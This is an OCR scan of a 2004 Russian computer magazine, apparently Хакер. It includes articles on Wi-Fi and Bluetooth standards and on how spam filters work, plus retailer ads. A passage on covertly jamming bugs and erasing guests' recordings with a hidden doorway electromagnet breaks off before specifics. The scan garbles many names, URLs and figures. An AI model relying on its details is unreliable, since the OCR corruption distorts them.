специальной сетевой картой. Каждый компь- 
ютер напрямую взаимодействует со всеми 
остальными, без какого-либо обращения к 
посреднику (точке доступа). Пользователи 
могут расшаривать файлы или принтеры, но 
не имеют доступа к обычной локалке, пока 




один из них не станет выполнять роль моста 
с помощью специального софта. 

2) Сети в режиме «ІпІгазігисШге» исполь- 
зуют соединение по принципу «клиент-сер- 
вер». В таких сетях используются точки дос- 
тупа, которые играют роль серверов. Клиен- 
тами, которые к ним подключаются, являют- 
ся компьютеры с беспроводными сетевыми 
интерфейсами. Причем точки доступа однов- 
ременно могут являться еще и мостом с 
обычной локальной сетью. 

^ПЕРЕДРЕИДПННЫЕ 

Передача информации по спецификации ѴѴі- 
Рі осуществляется на частоте от 2,400 МГц 
до 2,483 МГц. Этот диапазон оказался более 
удобным и функциональным, нежели ис- 
пользуемый до этого 902-928 МГц. С приме- 
нением специального разделения используе- 
мой полосы стала возможной работа сразу 
нескольких не связанных друг с другом уст- 
ройств практически без создания помех друг 
для друга. Это достигается за счет специ- 
альных способов передачи данных: метода 
прямой последовательности (0888) и мето- 
да частотных скачков (РН88). 

Метод РН88 делит полосу 2,4 ГГц на 79 ка- 
налов по 1 МГц, по которым впоследствии 
равномерно передаются данные. Участники 
обмена заранее знают, по какой схеме (а их 
всего 22) будет происходить переключение 
каналов. Более того, используемые схемы 
составлены таким образом, чтобы свести к 
минимуму возможные конфликтные ситуации. 
Вероятность того, что сразу два отправителя 
одновременно будут использовать один и тот 
же канал, практически сведена к нулю. Ог- 
ромным минусом же этого метода является 
жесткая ограниченность пропускной способ- 
ности, которая составляет всего 2 Мбит/с. 
Прямо скажем, не фонтан. Поэтому нет ниче- 
го удивительного в том, что от РН88 в следу- 
ющих расширениях стандарта отказались. 

Что касается метода 0888, то он разбивает 
диапазон 2,4 ГГц всего лишь на 14 перекры- 
вающихся каналов. Причем в одном месте мо- 
жет быть использовано только три из них, так 
как в противном случае они будут наклады- 
ваться друг на друга и создавать помехи. Во 
время передачи информации активно исполь- 
зуется некоторая избыточность данных, кото- 
рая позволяет восстановить нужный сигнал, 
даже если одна из его частей была утеряна. 
Это предотвращает повторные передачи дан- 
ных, но зато увеличивает количество переда- 
ваемой информации. 0888 не подразумевает 
переключения каналов, так как для передачи 
данных используется только один из них. 






ссітгшѵ 




А Антенны мобиль- 
ных устройств, как 
и точки доступа, 
являются источни- 
ками высокочас- 
тотного излучения. 
Пускай даже мощ- 
ность излучаемого 
сигнала ничтожно 
мала, но находить- 
ся в непосред- 
ственной близости 
от рабочей антен- 
ны не стоит. Врачи 
рекомендуют вы- 
держивать хотя бы 
минимальную дис- 
танцию. 




Наружная направлен- 




«Іпігазігисіиге». Пример эффектив- 


ная ѴѴі-Рі антенна 




ного использования точки доступа 



39 










А Технология 
ВІиеІооІИ названа в 
честь датского ко- 
роля Харольда «Го- 
лубой Зуб». Ему в 
свое время удалось 
объединить земли 
Дании и часть Нор- 
вегии, разрознен- 
ные религиозными 
войнами и террито- 
риальными спора- 
ми, а также расп- 
ространить в этом 
государстве хрис- 
тианство. Почему 
именно в честь него 
- вопрос довольно- 
таки спорный и не- 
однозначный. 



ШЕФ, Р НЕЛЬЗЯ ПОБЫСТРЕЕ? 

Скорость в 2 Мбит/с даже в 1997 году каза- 
лась смешным показателем. Поэтому уже в 
1999 году было утверждено новое расшире- 
ние стандарта беспроводной передачи дан- 
ных - ІЕЕЕ 802.1 1Ь, которое предусматрива- 
ло пропускную способность в 1 1 Мбит/с, уже 
вполне пригодную даже для корпоративных 
пользователей того времени. За совмести- 
мостью продуктов, коих уже тогда было до- 
вольно много, с особой тщательностью сле- 
дила независимая организация ѴѴігеІезз 
ЕШегпеі СотрабЬіІііу АІІіапсе (ѴѴЕСА). Впосле- 
дствии стандарт 802.1 1 обозвали короткой 
аббревиатурой ѴѴі-Рі (ѴѴігеІезз Рібеіііу), а орга- 
низация была переименована в ѴѴі-Рі АІІіапсе. 

Для достижения больших скоростных по- 
казателей разработчикам пришлось пол- 
ностью отказаться от тормознугого метода 
РН88 и отдать все силы на развитие 0888. К 
этой задаче они подошли вполне грамотно, 
обеспечив обратную совместимость с уже 
используемыми старыми девайсами. Чтобы 
реализовать возможность работы на значи- 
тельных расстояниях (куда больших, чем 
указано в спецификации) и в условиях за- 
шумленных радиочастот, ученые наделили 
ѴѴІ-РІ возможностью динамического измене- 
ния скорости. Скорость отныне в автомати- 
ческом режиме стала подгоняться под состо- 
яние используемого радиоканала. Объясняю 
на примере: при идеальных условиях на не- 
большом расстоянии пользователь по полно- 
му праву будет наслаждаться всей пре- 
лестью полноценных 1 1 Мбит/с, в то время 
как при наличии помех ему придется до- 





Прелести роуминга: 
можно переместиться 
из одной зоны в другую 
и даже этого не заме- 
тить 










вольствоваться скоростью пониже. Оборудо- 
вание автоматически снизит ее, чтобы сох- 
ранить стабильность канала. Однако как 
только состояние канала улучшится, ско- 
рость вернется в прежнее положение. 

Подключение клиента к точке доступа 
происходит под четким контролем управле- 
ния доступа к носителю (МАО). В случаях 
когда беспроводной сетевой интерфейс по- 
падает в зону действия сразу нескольких то- 
чек доступа, он самостоятельно выбирает 
наиболее оптимальную, анализируя мощ- 
ность сигнала и количество ошибок. Клиент 
не дурак. Поэтому даже после подключения 
он регулярно будет продолжать проверять, 
является ли используемая АР’ка наиболее 
оптимальной. И если найдется вариант по- 
лучше, он незамедлительно переключится на 
него. Такая вот функция роуминга особенно 
актуальна для портативных устройств, посто- 
янно меняющих свое месторасположение. 

.і двойной ФОРСРЖ 

Ну вот, 1 1 -мегабитный скоростной барьер 
преодолен. Что теперь? Пить чай и радо- 
ваться быстрому распространению техноло- 
гии среди пользователей? Разработчики ѴѴі- 
Рі так не считали и спустя два года после ра- 
тификации расширения ІЕЕЕ 802.1 1 Ь опуб- 
ликовали новый стандарт - ІЕЕЕ 802.1 1д. Его 
ключевыми моментами стали чистая ско- 
рость передачи в 54 Мбит/с и обратная сов- 
местимость с 802.1 1Ь. Чуть позже, правда, 
обязательное требование по скорости опус- 
тили. Причем сразу более чем в два раза - 
новое требование составило всего 24 
Мбит/с. Хотя теоретически, разумеется, под- 
держиваются и более высокие скорости. 

Таких успехов позволила добиться совер- 
шенно новая технология модуляции ортого- 
нально-частотного мультиплексирования 
(ОРОМ). Далекому от физики человеку ра- 



зобраться в принципе ее работы довольно 
сложно, поэтому мы ее трогать не будем, а 
примем как факт. В целях же обратной сов- 
местимости и, соответственно, обеспечения 
работы на более низких скоростях использу- 
ется старая схема модуляции 802.1 1Ь - ко- 
дирование с дополняющим кодом (ССК). 

Эти же схемы используются и в новейшем 
стандарте 802.1 Іа, предназначенном для 
работы на частотах 5,15-5,825 ГГц, на кото- 
рые нам рано или поздно придется перейти. 
Почему именно 5 ГГц? Этот диапазон ока- 
зался привлекателен, прежде всего, благо- 
даря своей девственной чистоте. В свое вре- 
мя доступность оборудования и слабый 
контроль над использованием частоты около 
2,4 ГГц привели к тому, что этот диапазон 
заполнился пиратами и, по правде говоря, 
превратился в одну большую помойку. Мно- 
гочисленные помехи мешают работе обору- 
дования даже тех людей, которые имеют со- 
ответствующие лицензии и разрешения. Но- 
вый же диапазон всех этих недостатков ли- 
шен. По крайней мере, пока. 

^ЗП СЕМЬЮ зпикпии 

Любая точка доступа ѴѴі-Рі может быть отк- 
рытой или закрытой. В первом случае АП- 
шка совершенно открыто принимает все вхо- 
дящие соединения. Во втором связь воз- 
можна только при наличии у клиента так на- 
зываемого ѴѴЕР-ключа. ѴѴЕР (ѴѴігеб Едиіѵаіепі 
Ргіѵасу) - это целая криптографическая сис- 
тема, которая шифрует данные, передавае- 
мые по воздуху. Шифрование осуществляет- 
ся по специальным алгоритмам с использо- 
ванием 40- и 1 28-разрядных ключей. Общая 
схема взаимодействия клиента и сервера в 
этом случае выглядит так: точка доступа по- 
сылает зашифрованный сигнал всем клиен- 
там, которые пытаются подключиться к ней. 
Те, в свою очередь, должны воспользоваться 



і Подключение клиента к точке доступа 
происходит под четким контролем 
т управления доступа к носителю. 



/ нпзпо стандартам 

В Америке ежегодно проходят соревнования ОеТсоп ѴѴі-Рі 
ЗГіооТоиІ:, где каждому желающему предоставляется воз- 
можность попробовать установить ѴѴІ-РІ соединение на рекорд- 
но большом расстоянии. В этом году эти соревнования прохо- 
дили в пустыне Невада, где трое юношей установили связь на 
расстоянии 89 (!) км. В качестве антенн использовались обыч- 
ные спутниковые тарелки со специальными облучателями. 

Цифра, признаться, более чем внушительная. Хотя российских 
спецов ею вряд ли удивишь - сами каждый год все новые и но- 
вые рекорды ставим. Чего уж на буржуев с их пустынями погля- 
дывать. В этом легко убедиться, если полистать архив конфе- 
ренции на И1ір:/Догит.пад.ги. Поверь мне, увлекает. 

Что же касается официального рекорда, включенного в Книгу 
рекордов Г иннеса, то он составляет 310 км. Стоит заметить, что 
такой результат был достигнут с применением мощных усили- 
телей и специальных антенн. При этом вся связка поднималась 
на большую высоту. 
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Интернет-карта 

Максимальная скорость в подарок* 
доступа в Интернет 
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ШЕР/№1 2(721/2004 




Для каждого передаваемого пакета 
отныне будет генерироваться 
специальный ключ. 





А Іійр://іп1ег- 
Іасез.Ьу.ги/8021 1д 
.Іі(т - подробное 
описание стандар- 
та ІЕЕЕ 802. 11д. 

.і ѵѵѵѵѵѵ.пѵѵТизіоп. 
сот/ге8еагсІі/2002 
/ОЭОЭѵѵерргітег.ИІ 
ті - проблемы бе- 
зопасности в ѴѴі-Рі 
сетях. 

А ѴѴѴѴѴѴ.ѴѴІ- 

Іі.огд/Ореп8есІіоп/Р 
АО.азр - официаль- 
ный РАО по ѴѴІ-РІ. 

.і ѵѵѵѵѵѵ.орепИагсІ- 
ѵѵаге.т/оріоііпк - 
передача данных с 
помощью оптики. 

А Ийр://іп1ег- 
Іасез.Ьу.ги/Ыие- 
ІооІИ.ИІт - подроб- 
но о ВІиеІооІИ. 

А Іійр://ІгееѵѵіІі.ги 
- база ѴѴІ-РІ точек. 
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СВОИМ ключом, расшифровать полученный 
код и идентифицироваться с его помощью 
на сервере. Эта система, которая на первый 
взгляд кажется вполне надежной, на самом 
деле имеет массу уязвимостей (ссылки на 
материалы по этому поводу ищи в сносках). 
Эту оплошность отчасти компенсирует спи- 
сок контроля доступа (Ассезз Сопігоі Іізі), 
реализованный в большинстве точек. 

Во время его использования осуществляется 
не только проверка ѴѴЕР-ключа, но еще и 
идентификация по МАС-адресу. 

Последней же наработкой в области безо- 
пасности является технология ѴѴРА, которая 
доступна в последних расширениях стандар- 
та ІЕЕЕ 802.1 1 . ѴѴРА представляет собой 
мощную связку, состоящую из стандартного 
и расширенного протоколов аутентифика- 
ции, нового метода шифрования ТетрогаІ 
Кеу Іпіедгііу РгоіосоІ (ТКІР), а также средств 
проверки целостности сообщений (Меззаде 
Іпіедгііу СІіескег, МІС), отслеживающих лю- 
бые подозрения на атаку типа тап-іп-тісісііе. 
Точка доступа с включенным режимом ѴѴРА 
будет блокировать все попытки клиентского 
подключения до тех пор, пока не произойдет 
аутентификация на уровне логина и пароля. 
После этого будет сгенерирован и отослан 
клиенту по протоколу ТКІР специальный 1 28- 
разрядный ведущий ключ. Все, соединение 
установлено. Но для каждого передаваемого 
пакета отныне будет генерироваться специ- 
альный ключ, без которого прочитать пере- 
даваемую информацию будет невозможно. 



А БРТЕНЬКП. 

ДРУВРС^УБЫСИНИЕ! 

Разработка технологии ВІиеМб (ІЕЕЕ 
802.15.3) началась в 1994 году. Ее непосре- 




дственными инициаторами стали ведущие 
производители портативных девайсов и 
компьютерного оборудования - Егісззоп, ІВМ, 
ІпіеІ, Мокіа и ТозІііЬа. Этот и без того нема- 
ленький список можно дополнить именами 
еще десятка брендов. Оно и понятно: уни- 
версальная технология для объединения 
между собой устройств любого типа и произ- 
водителя выгодна для всех без исключения. 

Однако, как это обычно и бывает, первый 
блин вышел комом. Первая версия специфи- 
кации Віиеіооіб оказалась недостаточно пол- 
ной. Поэтому некоторые моменты и нюансы 
производители конкретного оборудования 
додумывали сами, и результат подобных 
действий не заставил себя долго ждать. По- 
явившиеся прототипы девайсов от одного 
бренда частенько отказывались работать с 
устройствами от другого, ссылаясь на сексу- 
альную несовместимость. 

Одному только Богу известно, на какие 
еще ухищрения пошли бы производители 
оборудования, если бы на свет не появи- 
лась вторая, обновленная версия стандарта 
ВІиеіооШ. Как и планировалось с самого на- 
чала, основной ее принцип заключается в 
передаче данных на радиочастоте. Причем 
выбранный рабочий диапазон до боли зна- 
комый - 2400-2483,5 МГц. Чтобы избежать 
конфликтов с другими радиосистемами, ра- 
ботающими на нем же (вспоминаем ѴѴі-Рі), 
ВІиеіооШ использует крайне слабый сигнал 
всего в один милливаи. Для сравнения ска- 
жу, что обычный сотовый телефон передает 
сигнал с мощностью в три ватта. Устрой- 
ства не создают проблем и друг другу, так 
как технология подразумевает постоянное 
скачкообразное изменение частоты. Это оз- 
начает, что девайс с ВІиеІооШ’ом работает 
на одном из 79 каналов, частота которого 
выбирается случайным образом и регуляр- 
но изменяется. И меняется она не раз в 
час, а по 1 600 раз в секунду, что позволяет 
практически на 1 00% исключить возмож- 




ГІІ& 



Напсіз-^гее с поддержкой 
Віиеіооііі - именно с этого 
когда-то и начинали 



ѴѴІГйІёаа 




Большинство топовых моделей 
могут похвастаться встроенной 
поддержкой Віиеіооііі или ѴѴі-Рі 



ность пересечения двух ВІиеіооШ передат- 
чиков. Как и в протоколе ІР, данные в 
ВІиеІооШ посылаются отдельными пакета- 
ми, в которых помимо информационного 
поля и адреса назначения содержится ин- 
формация о частоте следующего пакета. 

Это приводит к тому, что реальная макси- 
мальная пропускная способность у 
ВІиеіооШ’а составляет 721 Кбит/с. 

Устройства, имеющие на борту ВІиеіооШ- 
модули, на основании их радиуса действия 
разделяют на три класса: сіазз 1 - до 100 м, 
сіазз 2 - до 20 м, сіазз 3 - до 10 м. 

Установка соединения двух устройств про- 
исходит автоматически, как только одно уст- 
ройство с включенным ВІиеіооШ’ом попада- 
ет в зону действия другого передатчика. На 
этом этапе, в частности, определяется, ка- 
кое именно соединение нужно установить. 
Участие пользователя в этом процессе нуле- 
вое - все необходимые действия выполняют- 
ся автоматически. Причем перед началом 
передачи данных каждому устройству прис- 
ваивается статус ведущего (тазіег) или ве- 
домого (зіаѵе). Вместе они образуют 
ВІиеМб-сеть, которую часто называют пи- 
конетом (рісопеі). Ведущие устройства отве- 
чают за организацию и управление соедине- 
ниями, обеспечивая связь между ведомыми 
девайсами. Максимально возможное количе- 
ство устройств в пиконете - 8. Объединен- 
ные пиконеты составляют скаиернеты (зсаі- 
іегпеі), где количество девайсов может быть 
значительно больше. 

^ будущее зпнпии 

Уже сейчас можно судить о повсеместном 
проникновении беспроводных технологий в 
нашу жизнь. Наверняка через пару-тройку 
лет КПК или ноутбук со встроенными ѴѴі- 
Рі/ВІиеІооШ интерфейсами перестанут быть 
роскошью, станут обыденными. Почему я в 
этом уверен? Аты вспомни, что представля- 
ла собой сотовая связь еще 5 лет назад. И 
сравни с тем, что мы имеем сейчас. 














Іь 

Абсолютнір плоски^ 1 7" экран, 
идеальное соотношение 
цена/ качество 
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1 7" ЖК монитор - совершенный дизайн, 
воплощение передовых технологий 



ТЕХНОТРЕЙД 

МОНИТОРЫ из ПЕРВЫХ РУК 



Дистрибуторская компания 

г. Москва, ул. Зоологическая, д. 26, стр. 2 
многоканальный телефон 970-1 3-83, факс 970-1 3-85 
Е-таіІ: ІесЬпоігасІе@[есНгюІгасІе.ги 



Акситек г. Москва (095) 737-3 1 75 
Аркис г. Москва (095) 785-3677, 785-3678 
Виртуальный киоск г. Москва (095) 234-3777 
ДЕНИКИН г. Москва (095) 787-4999 
Дилайн г. Москва (095) 969-2222 
ИНЛАЙН г. Москва (095) 941-6161 
КИТ Компьютер г. Москва (095) 777-6655 
М.Видео г. Москва (095) 777-7775 
НеоТорг г. Москва (095) 363-3825, 737-5937 
Никс г. Москва (095) 2 1 6-7001 
Олди г. Москва (095) 284-0238 

Радиокомплект-Компьютер г. Москва (095) 953-5392, 953-5674 

Сетевая лаборатория г. Москва (095) 784-6490 

СтартМастер г. Москва (095) 967-1510 

Ф-Центр г. Москва (095) 472-6401, 205-3524 

СІТШИК г. Москва (095) 745-2999 

Ое$1еп СотроІегБ г. Москва (095) 785-1 080, 785-1 077 

ЕІ5ІЕ г. Москва (095) 777-9779 

Е15Т г. Москва (095) 728-4060 

І5М г. Москва (095) 71 8-4020, 280-5144 

НТ - РоІагІ5 г. Москва (095) 970-1930 

НЕТКА Сошри1ег5 г. Москва (095) 729-5255, 729-5244 

иЗН Сотриіегв г. Москва (095) 775-8202 



АЕТЕХ г. Нижний Новгород (8312)1 66000, 657307 

Авикомг. Пермь (3422) 196158 

Алгоритм г. Казань (8432) 365272 

Аракул г. Нижневартовск (3466) 240920 

Арсенал г. Тюмень (3452) 464774 

ЗЕТ ИСК г. Новосибирск (3832) 125142, 125438 

Интант г. Томск (3822) 560056, 561 61 6 

Клосс Компьютер г. Екатеринбург (3432) 659549, 657338 

Компания НИТ г. Биробиджан (42622) 66632 

КомпьюМаркет г. Саратов (8452) 241314, 26971 0 

Меморек г. Уфа (3472) 378877, 220989 

Мэйпл г. Барнаул (3852) 244557, 364575 

Никас-ЭВМ г. Челябинск (3512) 349402 

Окей Компьютер г. Краснодар (8612) 601 144, 602244 

Оргторг г. Киров (8332) 381 065 

Прагма г. Самара (8462) 701787 

Риан - Урал г. Челябинск (35 1 2) 3358 1 2 

Технополис г. Ростов на Дону (8632) 9031 1 1, 903335 

Фирма ТЕСТ г. Саранск (8342) 240591, 327726 

Экселент г. Мурманск (8152) 459634, 452757 
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еня уже не тошнит - у меня стоят фипьтры» (с) труппа «Кирпичи». Уж не знаю, как таи у Оаси 0. из «Кирпичей», но у иеня 
пробпеиа остается: фипьтры стоят, а вот тошнота что-то не прохопит. К сожалению, причина зтото иерзкото чувства заключается 
не в тон, что я провел выхопные на ура, а в тон обилии спама, ксторый с пивной ретупярностью валится мне в ящик. 



ПРИНЦИПЫ ДЕЙСТВИЯ СППИ-ФИПЬТРОВ 



^ТНПГЗИЕПИбШаВ! 



Л мы НЕ ИЩЕМ ЛЕГКИХ ПУТЕЙ Л ^^N6^Е 18 ИП88ІНЕ! 




В ОТ кажется, что страшного 
в том, что кроме тех писем, 
которых ты ждешь и которые 
важны для тебя, тебе придет 
пара-тройка этаких сюрпри- 
зов, среди которых, возможно, 
даже будет что-то интерес- 
ное? А страшно становится 
только тогда, когда эта пара-тройка с неко- 
нтролируемой скоростью мутирует в пару- 
тройку сотен в день, а содержание интерес- 
ного плавно сходит к нулю. Тогда-то и начи- 
наешь задумываться о том, как бороться с 
обилием такого хлама. Ты просматриваешь 
форумы, спрашиваешь знакомых, тестиру- 
ешь разный софт для защиты, короче, всеми 
способами пытаешься постоять за себя. Но 
храбры молодцы, которые поднимают бабки 
на массовых рассылках (а это, к слову, очень 
неплохой, хоть и низкопробный бизнес), то- 
же не дремлют и придумывают все новые и 
новые ухищрения, чтобы заставить тебя про- 
читать их «письмо счастья». Вот и получает- 
ся самая настоящая война: с одной стороны 
люди, отрабатывающие свои деньги, с дру- 
гой - ты со своим крутым набором защиты. 

И кто в этой войне выигрывает, неясно. Яс- 
но только то, что конца и края ей пока не 
видно. А раз так, то полезно понимать, с ка- 
ким оружием тебе придется иметь дело. 



Каждая статья про спам начинается с исто- 
рии про консервную банку, которая первой 
стала рекламироваться таким назойливым 
способом, - это, по ходу, традиция такая. 
Что ж, отдав дань традиции, давай не бу- 
дем больше переливать из пустого в по- 
рожнее и перейдем к тому, как устроены 
спам -фильтры. Для этого надо хорошо по- 
нять, как именно они должны работать. Ес- 
ли ты считаешь, что главная задача - не 
пропустить в твой ящик спам, то ты не 
прав. Такая задача имеет тривиальное ре- 
шение: просто запрещаем прием ВСЕХ пи- 
сем! Глупо, правда? Зато задача выполнена 

- в ящике спама не будет. Точно не будет. 
На все сто. Верь мне (даже я уже поверил. 

- Прим. Бублика)! Из этого дурацкого при- 
мера сразу вытекает вторая задача: нужные 
письма должны доходить до адресата. И 
эта причина важнее первой, ведь лучше 
принять одно лишнее письмо, чем пропус- 
тить важное. Как говорится, лучше недосо- 
лить, чем пересолить. 

Как мы с тобой поняли, приведенный ме- 
тод «в лоб» тут не сработает и надо искать 
более умные и хитрые способы сортировки 
зрат’а и бат’а - именно так на английском 
жаргоне называется полезная почта. И такие 
способы найдены и работают, правда, с пе- 
ременным успехом. 



Хлам от бат’а можно отличить, в первую 
очередь, по тому, что первый рассылается 
сразу доброй тысяче пользователей, а вто- 
рой - только тебе (в подавляющем большин- 
стве случаев). Исключением являются только 
рассылки всяких новостей, но с ними все 
просто: ты знаешь адрес отправителя, а зна- 
чит, поставить фильтр - дело техники. Вто- 
рой чертой массовых рассылок раньше явля- 
лось то, что в письме не прописан конечный 
получатель. Значит, по этим двум критериям 
можно отлавливать и хоронить спам в выг- 
ребной яме. На такое простое фильтрование 
спамеры ответили созданием софта, кото- 
рый посылает сообщение якобы тебе и лишь 
одному тебе, и опять в твой ящик полез отс- 
той. Эти признаки сами по себе не дают ни- 
какой защиты, но их наличие в сочетании с 
другими дает общее представление о харак- 
тере письма, так что их нужно иметь в виду. 

Обороняющаяся сторона (а мы с тобой в 
данном случае не нападаем, а именно обо- 
роняемся) решила попробовать посылать 
запрос отправителю каждой получаемой 
мессаги, чтобы удостовериться, реальный 
это человек или тупой бот, который шарашит 
заданный текст всем подряд. В качестве 
запроса можно спросить отправителя о чем- 
то таком, до чего бот догадаться не в состо- 
янии. Только после такой проверки можно 
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КПК УСТРОЕН ДУРШППГ 




классифицировать письмо как полезное или 
не очень. Способ вроде бы действенный, 
ведь спам обычно ведется с адресов, кото- 
рые регаются именно для этой цели, и подт- 
верждать что-либо с них никто никогда не 
будет. Но прикинь, какой геморрой ждать 
этого самого подтверждения и как нудно 
каждый раз самому писать их. Приговор: 
способ идет в слив. 

Теперь вот появились программы, чокаю- 
щие ІР-адрес отправителя. Для этого снача- 
ла собирается огромная статистика по спа- 
му. Выделяются диапазоны ІР-адресов и 
почтовые домены, с которых ведется массо- 
вое замусоривание. Эти диапазоны заносят- 
ся в черные списки (ВеаШте ВІаскбоІе Іізіз - 
ВВІз), и с них почта отсеивается. Например, 
по такому принципу работает система 
ЗратРаІ (ѵѵш.$рапра1.огд). Ты устанавливаешь 
прогу у себя на компе, и она периодически 
подгружает обновления списков. Может 
статься так, что по вине какого-нибудь 
<сеп50гес1> в ВВІз попадет гигантский поч- 
товый сервис, например таіі.ги. К чему это 
приведет, можно догадаться: забудь о пись- 
мах от тех друзей, которые держат ящик на 
паіі.ги. Чтобы этого избежать, тебе нужно 
лишь занести домен в белый список и раз- 
решить прием писем с него. Такой способ 
достаточно эффективен и широко применя- 
ется в настоящее время. 



А СТИЛЬ, ОЕВОЧКИ, 
ВПЖЕІІІІОВСЕИ! 



Вышеописанные способы весьма примитивны, 
и когда спамеры достаточно легко научились 
их обходить, пришлось выдумывать более ум- 
ные. Такими стали фильтры, работающие не- 
посредственно с текстом письма и выискиваю- 
щие в нем занятные стилевые особенности. 

Ты, конечно же, помнишь великий и могучий 
Центр американского английского! Началось 
все с простого, детского спама, который до- 
вольно быстро терялся в фильтрах, реагировав- 
ших на его заголовок, как бык на пионерский 
галстук. Но со временем ЦАМ смог затеррори- 



зировать весь рунет своими призывами. В кон- 
це концов наученные горьким опытом разработ- 
чики антиспамерского ПО придумали те самые 
фильтры, работающие с лингвистическими осо- 
бенностями письма. Суть в том, что язык, кото- 
рым пишутся рекламные письма, весьма огра- 
ничен и отличается от языка реальной перепис- 
ки. Проще говоря, большинство рекламы созда- 
ется по шаблонам. А значит, можно отсеять эти 
шаблонные сообщения. Тогда в текст послания 
стали запихивать изображения, на которых, 
собственно, и был рекламный текст. Этот вык- 
рутас не очень проходил, так как редко юзеры 
вставляют картинки в тело письма - обычно их 
приаттачивают. А в совокупности с другими 
флагами спама это давало однозначный ответ 
не в пользу важности письма. 

Война продолжалась. Потоки отстоя в 
ящики пользователей то ослабевали, то били 
с новой силой. Письма стали приходить все с 
новыми и новыми текстовыми извращениями. 
Рекламные слова, попавшие в черные списки, 
стали разбивать пробелами на части, заме- 
нять русские буквы на английские, схожие по 
написанию, - «о», «а», «у» и т.п. В текст пись- 
ма стали вставлять случайные последователь- 
ности знаков, чтобы показать фильтрам «важ- 
ность» письма. Казалось, что можно приду- 
мать бесчисленное множество способов 
обойти тупые фильтры. Но на каждое нехоро- 
шее действие находится простое решение... 



А ВЕРОЯТНОСТНОЯ 

диагностика 



Метод Байеса известен в математике доста- 
точно давно. Он позволяет оценить вероят- 
ность успешного совершения некоторого со- 
бытия, основываясь на результатах соверше- 
ния этого события в прошлом. Применительно 
к фильтрации спама это выглядит следующим 
образом: берем большое количество спамовых 
и хамовых (ой, как мне нравится это название 
:)) мессаг. Чем больше, тем лучше. Загоняем 
две эти стопки в два массива и начинаем изу- 
чать и составлять статистику. В статистике 
учитывается частота вхождений разных слов в 
эти две противоположные группы. И если, 
например, фраза «Епіагде уоиг репіз поѵѵ!» вхо- 
дит в 20% писем из «плохой» стопки и ни разу 
- в письма из «хорошей» (я надеюсь, что твои 
друзья или подруги не пишут тебе писем с та- 
кими фразами, потому что у тебя все в поряд- 
ке с этим органом! :)), такой результат будет 
решающим на чаше весов, когда тебе придет 
почта с подобным содержанием. 

К слову. Байесовский фильтр ВауезИ! 
(шѵѵ.гіШЬ$.соп/ги/$оІиііоп$/Вауе$Іі.р1ір) идет в 
комплекте ТбеВаі’а начиная с версии 3.0, так 
что фанатам стоит подумать о его использо- 
вании. Для тех, кто пользуется ОиІІоок’ом, 
тоже есть аналог - ЗратВауез (Іі1ф://$ра[іі- 
Ьауе$.$оигсе(огде.пеі). 



^ КОНФЕРЕНЦИЯ аНТИСППИЕРОВ 

В октябре этого года Куттѳр с Бубликом посетили двухднев- 
ную конференцию, посвященную борьбе с нежелательной 
корреспонденцией. Что там говорили, не важно сейчас. Инте- 
ресно другое. В зале присутствовало определенное число спа- 
меров инкогнито. Парни веселились и отрывались на славу, од- 
новременно с этим вынюхивая планы своих врагов :). 




.іаУСКаЕИ ЧЕРЕЗ ИНЕТ 

Если тебе в лом самому разбираться с 
фильтрами, то... закрой журнал, я потерял 
уважение к тебе, нельзя быть таким халяв- 
щиком и лодырем (да мне правда в лом, чу- 
вак! - Прим. Бублика)! Ладно, шучу, есть и 
для тебя решение. Иди на сайт ѵѵѵѵѵѵ.$рап1е$і.ги. 
Там есть услуга (бесплатная до 31 декабря 
2004 года - у тебя осталось совсем немного 
времени на бесплатный тест) по проверке 
входящей корреспонденции. Тебе необходи- 
мо зарегаться в системе, получить почтовый 
ящик и рассказать о нем всем знакомым. 
Письма будут приходить на него, чекаться, а 
потом те из них, что достойны твоего внима- 
ния, будут переправляться тебе, а недостой- 
ные будут помечаться, и уже твой почтовик 
сможет их кидать в отдельную папку. Полу- 
чается вот такая своеобразная онлайн-цен- 
зура :). Лично мне такой способ кажется ко- 
рявым, а если за него еще и денег платить 
надо, то он явно не привлечет меня. Но я 
могу ошибаться... 

.ісуииируЕИРЕзттат 

Как видишь, каждый из описанных методов 
в отдельности не сработает, но их и не стоит 
юзать по одному. Это как встречаться с де- 
вушкой и использовать единственный способ 
ухаживания - дарить плюшевых мишек и 
больше ничего. Зато в совокупности приемы 
очень даже работают и девушка отдается. 

Ой, то есть спам перестает сыпаться тебе в 
ящик, как перхоть :). Конечно, на все сто 
процентов нельзя защититься - спамеры по- 
лучают хорошие деньги, а это повод пошеве- 
лить мозгами и обойти фильтры. Но это не 
значит, что защищаться не стоит вовсе, - 
пусть большая часть застрянет в защите, а ру- 
ками придется убить одно-два письма. 




А Ийр://ѵѵіп. 80 ІІре- 
(Ііа.сот/ргодЗеагсІі 
/8рат - по этому 
адресу ты найдешь 
около 70 различных 
спам-фильтров ;). 




А Если ты загля- 
нешь в раздел РАО, 
то сможешь про- 
честь там еще об 
одном интересном 
методе защиты от 
спама при посто- 
янных регистраци- 
ях на различных 
ресурсах. 




Ь: — 



Отличить нормальное письмо от спама нетрудно, так как реклама создается по шаблонам 
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С ппикои 



И аверняка ты повил себя на мысли, что современная бытовая техника ведет себя чрезвычайно агрессивно. Она наседает со всех 
сторон, гнет пальцы, давит на уши и капает на мозги. О кто у нас царь природы? ;) Сегодня мы будем глумиться над хай-теком. На 
практических конструкциях будут продемонстрированы некоторые приемы одного из самых захватывающих видов боевых 
единоборств под названием радиозпектронная борьба. 



СОВРЕИЕННПЯ ИНСТРУКЦИЯ ПО НИЗВЕЦЕНИЮ БЫТОВОЙ ТЕХНИКИ 



Л 



Н и одна книга по шпионским 
технологиям не обходится 
без описания оригинальных 
средств противодействия. 

В октябрьском «Импланте» 
я упомянул дедовский метод 
выжигания жучков, подклю- 
ченных к телефонной линии. 

В отличие от них, автономные радиомикро- 
фоны с собственным питанием можно вы- 
вести из строя только при помощи специ- 
альных агрегатов, которые формируют мощ- 
нейшие электромагнитные импульсы. Такая 
аппаратура, несмотря на незатейливые 
принципы работы, стоит очень приличных 
денег. Гораздо чаще жучков в помещении 
ищут при помощи широкополосных детекто- 
ров излучения и компактных пеленгаторов. 
Найденных насекомых извлекают и давят са- 
погами или бросают в банку с керосином ;). 
Но метод этот небыстрый, он не гарантирует 
стопроцентного обнаружения всех закладок, 
а иногда и вовсе неприменим. 

Поэтому обычно на время приватной беседы 
используют глушение предполагаемых радио- 
жучков помехами. На случай если у гостя был 
не передатчик, а диктофон, на выходе его для 
подстраховки незаметно облучают мощным 
электромагнитным импульсом, который стира- 



ет любые записи на магнитных носителях. Нап- 
ример, катушка мощного электромагнита 
скрытно монтируется прямо по периметру 
дверного проема. На входе она помогает обна- 
